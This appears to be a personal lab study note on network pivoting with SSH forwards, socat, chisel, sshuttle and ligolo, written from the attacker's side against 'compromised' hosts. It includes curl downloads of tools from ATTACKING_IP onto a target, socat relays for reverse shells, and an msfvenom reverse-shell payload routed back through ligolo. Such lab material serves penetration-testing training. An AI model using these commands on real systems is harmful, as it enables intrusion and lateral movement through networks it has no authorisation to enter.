The method we use to pivot will depend on the OS of the target systems. Metasploit can make pivoting easier which we will learn about in the future.
There are two main methods when it comes to pivoting:
- Tunneling/Proxying: creating a proxy connection thru a compromised machine in order to route all desired traffic into the targeted network. This could also be tunneled inside another protocol (SSH tunneling) which can be useful for evading IDS or firewalls
- Port forwarding: Creating a connection between a local port and a single port on the target.
A proxy is good for redirecting all types of traffic, like if we want to be able to run an nmap scan and get access to multiple ports on the internal target, we'll likely want a proxy
port forwarding is faster and more reliable but only allows access to a single or few ports.
When trying to get an entry point in a network try to target Linux/unix targets as these are often easier to pivot from. An outward facing linux server is Ideal for us to get in from
"I want to access remote resources that I can't access"
Port forwarding is configured at the router of a network and simply opens specific ports
Local Port forwarding is done by using the -L switch with ssh command. This creates a link to a local port.
For example if we had SSH Access to a externally available machine at 172.16.0.5 and we found out there is a webserver running on and internally available machine 172.16.0.10 we can use this command to create a link to the server on 172.16.0.10.
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fNUsing the above command we can then access the website on .10. This is an example of setting up a local port forward.
Here's Another Example:
Setting Up Local Port Forward to hit Srv App 2
Command to use (Requires that we have SSH access to Srv App 1 first though)
ssh user@192.168.2.105 -L 127.0.0.1:8000:10.42.42.2:80 -NSo this opens port 8000 on our own machine (127.0.0.1:8080) which connects to the SRV App 1 machine, and then the SSH server on the SRV App 1 machine transfers all requests that we make on our machine (127.0.0.1:8000) to SRV App 2 (10.42.42.2:80) thru SRV app 1.
So basically when we run the above ssh command and then type http://localhost:8000 in our own web browser, it will present to us the webpage hosted on 10.42.42.2:80
![[Pasted image 20221005115032.png]]
Also Called a Dynamic SSH Tunnel or Dynamic Port Forward
Going back to what we said about proxys vs. tunnels. The Port Forwarding commands above will work but only for one port. Another way to access internal resources via a compromised machine, which is a little easier is by using a Dynamic Proxy. Remember a proxy in general isn't just limited to one port or service but will 'proxy' all of your traffic.
For example, if we wanted to access a web page running on Srv App 2 and we had ssh access to srv app 1 from previously compromising it, we can connect to srv app 1 with a dynamic proxy
ssh user@192.168.2.105 -D 9050Now in your browser you can download an extension like foxyproxy, create a new proxy with type SOCKS5 and the proxy IP of 127.0.0.1 and port of 9050
Now once you enable that foxyproxy proxy in your web browser you can simply type
http://10.42.42.2:80 and you can access the web page on Srv App 2.
I want other people people to access local resources that they don’t have access to
There are a couple options we can use setup a Remote Port Forward
Proxies are made using the -D flag with ssh. '-D 1337' will open up port 1337 on our attacking box as a proxy to send data thru into the protected network. An example command is:
ssh -D 1337 user@172.16.0.5 -fNThese are preferable if we have a shell on the compromised server but not SSH access. These are riskier as we must access our attacking machine from the target. Preferable we want to setup a key-based authentication process for SSH.
First we need to generate a set of throwaway SSH keys just for this use
ssh-keygen
Copy the id_rsa.pub file and paste it into ~/.ssh/authorized_keys on our own attacking machine.
On a new line type in:
'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty
Run the SSH server on our attacking machine with sudo systemctl start ssh
Once we have the SSH server up and the new key generated we need to transfer the throwaway private key onto the target server
Use a file transfer method of your choice here, tbh you can probably just cat out the key and copy the text and then paste it into a new id_rsa in /tmp on the target machine
Once the key is transferred we connect back with a reverse port forward using:
ssh -R LOCALPORT:TARGETIP:TARGETPORT user@AttackerIP -I KEYFILE -fNTo put this in context, if we have a shell on Srv app 1 and want to give our attacking box (192.168.2.149) access to the webserver on Srv App 2 we use the following command on the Srv app 1 machine
![[Pasted image 20221005114832.png|800]]
ssh -R 8000:10.42.42.2:80 kali@10.42.42.1 -i KEYFILE -fNThis would open up a port forward to our Kali box, allowing us to access the srv app2 webserver, in exactly the same way as with the forward connection we made before
Examples:
- If you had SSH access to a compromised server (172.16.0.50) with a webserver running internally on port 80 (i.e. only accessible to the server itself on 127.0.0.1:80), how would you forward it to port 8000 on your attacking machine? Assume the username is "user", and background the shell.
ssh -L 8000:127.0.0.1:80 user@172.16.0.50 -fN- If you wanted to set up a reverse port-forward from port 22 of a remote machine (172.16.0.100) to port 2222 of your local machine (172.16.0.200), using a keyfile called id_rsa and backgrounding the shell, what command would you use? (Assume your username is "kali")
ssh -R 2222:172.16.0.100:22 kali@172.16.0.200 -i id_rsa -fN![[Pasted image 20221005115203.png]]
![[Pasted image 20221005115211.png]]
https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/
Socat is great for full stable linux shells and port forwarding. It is rarely installed by default so most of the time we'll have to upload one of the static binaries.
Whilst the following techniques could not be used to set up a full proxy into a target network, it is quite possible to use them to successfully forward ports from both Linux and Windows compromised targets.
In particular, socat makes a very good relay: for example, if you are attempting to get a shell on a target that does not have a direct connection back to your attacking computer, you could use socat to set up a relay on the currently compromised machine. This relay listens for the reverse shell from the target and then forwards it immediately back to the attacking box:
![[Pasted image 20221005115418.png]]
Specifically, in the above example we're creating a port forward from a port on the compromised server to a listening port on our own box. We could do this the other way though, by either forwarding a connection from the attacking machine to a target inside the network, or creating a direct link between a listening port on the attacking machine with the service on the internal server. This latter application is especially useful as it does not require opening a port on the compromised server.
it's best to think of socat as a way to join two things together -- kind of like the Portal Gun in the Portal games, it creates a link between two different locations. This could be two ports on the same machine, it could be to create a relay between two different machines, it could be to create a connection between a port and a file on the listening machine.
On Kali - inside the directory containing the socat binary
sudo python3 -m http.server 80On the Target:
curl ATTACKING_IP/socat -o /tmp/socat-USERNAME && chmod +x /tmp/socat-USERNAMEThis is where we will be using socat to create a relay for us to SEND a reverse shell back to our own attacking machine as in the diagram above.
First, start a standard netcat listener on our kali box
sudo nc -lvnp 443Now, on the compromised server use this to start the relay
./socat tcp-l:8000 tcp:KALIBOXIP:443 &The quick and easy way to set up a port forward with socat is quite simply to open up a listening port on the compromised server and redirect whatever comes into it to the target server.
For example if a compromised server is 172.16.0.5 and the target is port 3306 of 172.16.0.10 we can use the following command (on the compromised server) to create a port forward:
./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &This opens up port 33060 on the compromised server and redirects the input from the attacking machine straight to the intended target server, essentially giving us access to the (presumably MySQL Database) running on our target of 172.16.0.10.
We can now connect to port 33060 on the relay (172.16.0.5) and have our connection directly relayed to our intended target of 172.16.0.10:3306.
The easy technique is easy but it opens up a port on the compromised webserver which may be flagged by AV. this is a slightly quieter version of port forwarding
First, on our own attacking machine run:
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &This opens up 2 ports. 8001 & 8000 creating a local port relay. what goes into one of them will come out of the other
Next, on the compromised (relay) server (172.16.0.5) run:
/socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &This makes a connection between our listening port of 8001 on our attacking machine and the open port of the target server. In context of the fictional network here is an example
./socat tcp:10.50.91.6:8001 tcp:172.16.0.10:80, fork &This would create a link between port 8000 on our attacking machine, and port 80 on the intended target (172.16.0.10), meaning that we could go to localhost:8000 in our attacking machine's web browser to load the webpage served by the target: 172.16.0.10:80!
This is a great tool that allows us to easily setup a tunneled proxy or port forward thru a compromised system, regardless of whether you have SSH access or not.
Download the binaries from the github page here: https://github.com/jpillora/chisel/releases
To Use:
You must have an appropriate copy of the chisel binary on both the attacking machine and the compromised server. Copy the file to the remote server with your choice of file transfer method. You could use the webserver method covered in the previous tasks, or to shake things up a bit, you could use SCP:
scp -i KEY chisel user@target:/tmp/chisel-USERNAMEThis connects back from a compromised server to a listener waiting on our attacking machine
On our attacking box we use:
./chisel server ATTACKING_IP:LISTEN_PORT R:socks &On the Compromised host you would run
./chisel client ATTACKINGIP:ListenPORT R:socks &Proxychains reminder: When sending data through either of these proxies we would need to fix our proxychains config. Chisel uses socks5 proxy so we need to change our proxylist line in proxychains.conf to socks5
On the compromised host we would use this:
./chisel server -p LISTEN_port --socks5This sets up a listener on a listening port we choose
On our attacking machine we would use this:
./chisel client TARGETIP:LISTENPORT PROXYPORT:socksThe proxy port is the port that is purposefully opened for setting the proxy up. So in the wreath network we have to open up a port on a windows machine
A remote port forward is when we connect back from a compromised target.
For a remote port forward, use this command on our ATTACKING MACHINE
./chisel server -p LISTENPORT --reverse &This sets up a chisel listener for the compromised host to connect back to
The command to CONNECT BACK - enter this on compromised host:
./chisel client ATTACKINGIP:LISTENPORT R:LOCALPORT:TARGETIP:TARGETPORT &Here the LISTEN_PORT is the port that we started the chisel server on, and the LOCAL_PORT is the port we wish to open on our own attacking machine (arbitrary) to link with the desired target port.
Example:
let's assume that our own IP is 172.16.0.20, the compromised server's IP is 172.16.0.5, and our target is port 22 on 172.16.0.10. The syntax for forwarding 172.16.0.10:22 back to port 2222 on our attacking machine would be as follows:
Setup the listener on our attacking machine:
./chisel server -p 1337 --reverse &On the compromised server use:
./chisel client 172.16.0.20:1337 R:2222:172.16.0.10:22 &This would allow us to access 172.16.0.10:22 (via SSH) by navigating to 127.0.0.1:2222.
With SSH, a local port forward is where we connect from our OWN attacking machine to a chisel server listening on the Compromised target
On the compromised Target we setup a chisel server:
./chisel server -p LISTENPORTWe now connect to this FROM our ATTACKING MACHINE:
./chisel client LISTEN_IP:LISTEN_PORT LOCALPORT:TARGETIP:TARGETPORTFor example, to connect to 172.16.0.5:8000 (Compromised host running Chisel server), Forwarding our local port 2222 TO 172.16.0.10:22 we would run on our attacking machine:
./chisel client 172.16.0.5:8000 2222:172.16.0.10:22sshuttle ONLY works on LINUX TARGETS and requires access to the compromised server via SSH, and Python also needs to be installed on the server
This tool is quite different from the others we have covered so far. It doesn't perform a port forward, and the proxy it creates is nothing like the ones we have already seen. Instead it uses an SSH connection to create a tunneled proxy that acts like a new interface.
In short, this simulates a VPN, allowing us to route our traffic thru the proxy without the use of proxychains. We can just directly connect to devices in the target network as we would normally connect to networked devices
We use sshuttle entirely on our attacking machine, in much the same way we would SSH into a remote server.
It also requires access to the compromised server via SSH, and Python also needs to be installed on the server
The base command for connecting to a server with sshuttle is:
sshuttle -r username@address subnetExample - Our compromised machine is 172.16.0.5
sshuttle -r user@172.16.0.5 172.16.0.0/24We would then be asked for the users password and the proxy would be establish.
Can use -N instead of manually supplying the subnet
If the server only accepts key-based ssh authentication
We can bypass this limitation with the --ssh-cmd switch
By default this is simply ssh with no arguments. With the --ssh-cmd switch, we can pick a different command to execute for authentication: say, ssh -i keyfile, for example!
So, when using key-based authentication, the final command looks something like this:
sshuttle -r user@address --ssh-cmd "ssh -i KEYFILE" SUBNETExample
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24sudo ip tuntap add user kali mode tun ligolo # Run this first to create a new tun interface for ligolo
ip route list # list routes
sudo ip link set ligolo up # turn on ligolo interface
./proxy -selfcert # Run this on kali attacking machine to start the C2/proxy server
# On Jump host run
agent.exe -connect 192.168.119.133:11601 -ignore-cert
# After successfull connection is confirmed add route to the target network to kali's routing table
sudo ip route add 10.10.23.0/24 dev ligolo
# then start a tunnel in ligolo using
start
#Nmap scanning thru ligolo
sudo nmap 10.10.23.140 -p- -sV -T3 -PE
So if we find ourselves in a situation where we have a pivot setup to the internal network, but the internal machine cant send back a shell to our attack box, we can use ligolo's TCP listeners to get our shell back on our kali box!
# On the Ligolo proxy setup a listener
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 # This will make it so that any connections sent to port 1234 on our agent back to our kali box on 4444
# so if we need to get a shell back thru our pivot we would make a new payload that sends a shell to the Agent box on port 1234
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o revshell-1234.exe LHOST=10.10.23.141 LPORT=1234
# Now on the target/internal machine we want a shell on just run the revshell-1234.exe file and we get a shell!
![[Pasted image 20230417221507.png]]
![[Pasted image 20230417221515.png]] Getting our shell back